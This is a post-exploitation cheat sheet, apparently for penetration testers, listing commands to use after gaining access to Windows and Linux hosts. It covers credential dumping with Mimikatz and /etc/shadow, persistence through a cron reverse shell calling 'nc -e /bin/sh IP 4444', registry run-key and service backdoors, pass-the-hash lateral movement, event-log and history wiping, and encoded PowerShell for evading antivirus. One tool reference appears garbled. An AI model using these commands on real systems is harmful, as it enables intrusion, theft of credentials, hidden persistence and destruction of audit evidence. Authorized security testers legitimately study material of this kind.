Post-Exploitation Cheat Sheet (Windows & Linux)

Information Gathering (post)

• Linux: id; whoami; hostname; uname -a; cat /etc/passwd | grep -v nologin; cat /etc/sudoers 2>/dev/null
• net users / groups (Windows):

  net user; net localgroup administrators; whoami /priv; whoami /all
  

• Find configs & keys:

  grep -riE "password|secret|api[_-]?key|token" /var/www /home /opt /etc 2>/dev/null
  find / -name "*.conf" -o -name "*.log" 2>/dev/null
  

• Windows file search dir /s /b *password* C:\; findstr /si /m "password" C:\*.txt

Credential Harvesting

• Linux: bash history ~/.bash_history, .ssh/, config files, process env /proc/*/environ, /etc/shadow (root)
• Windows:
  • Mimikatz (SYSTEM): privilege::debug, sekurlsa::logonpasswords
  • cmdkey /list, saved credentials cmdkey /list
  • DPAPI: vaultcmd /listcreds
  • getpass/ekeroute from courbe; meterpreter hashdump, load kiwi
• Linux sudo -l for NOPASSWD sudo lines → quick privesc
• SSH keys reuse across hosts ~/.ssh/id_rsa, agent keys

Persistence (Linux)

• ~/.bashrc / .profile reverse shell
• Cron job echo '*/5 * * * * root nc -e /bin/sh IP 4444' >> /etc/crontab
• Systemd unit / /etc/rc.local / /etc/rc.d
• SSH authorized_keys add your pubkey echo "PUBKEY" >> ~/.ssh/authorized_keys
• Docker: privileged container persist into pod

Persistence (Windows)

• Registry run keys

  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v <name> /t REG_SZ /d "C:\path\to\backdoor.exe"
  HKLM\...\Run
  

• Startup folder C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
• Scheduled task schtasks /create /tn X /tr C:\tools\shell.exe /sc onlogon /ru SYSTEM
• Service (SYSTEM): sc create svc binPath= "C:\tools\backdoor.exe" + sc start
• WMI event subscription (stealth) — run persistence (meterpreter) or SharPersist

Pivoting & Lateral Movement

• Linux SSH pivoting: ssh -D 9050 user@host then proxychains nmap 10.0.0.0/24
• Windows: PsExec / SMB impacket-psexec DOMAIN/user:pass@host, wmiexec, atexec
• Pass-the-Hash impacket-wmiexec -hashes :<nthash> domain/user@host
• Crackmap crackmapexec smb 10.0.0.0/24 -u user -p pass --shares
• RDP in: xfreerdp /v:host /u:user /p:pass
• Copy tools over SMB smbclient //host/share -c "put nc.exe"

Event Log Wiping (careful / authorized only)

• Linux: history -c; unset HISTFILE
• Windows: wevtutil cl security / for /F "tokens=*" %1 in ('wevtutil el') do wevtutil cl "%1"

Execution-Guard reminders

• Use in-memory tools (invoke-psencode, powershell -enc) — signature-wise they survive basic AV; escalate to real opsec only under engagement rules.
• Always capture screenshots/notes for the report (evidence!).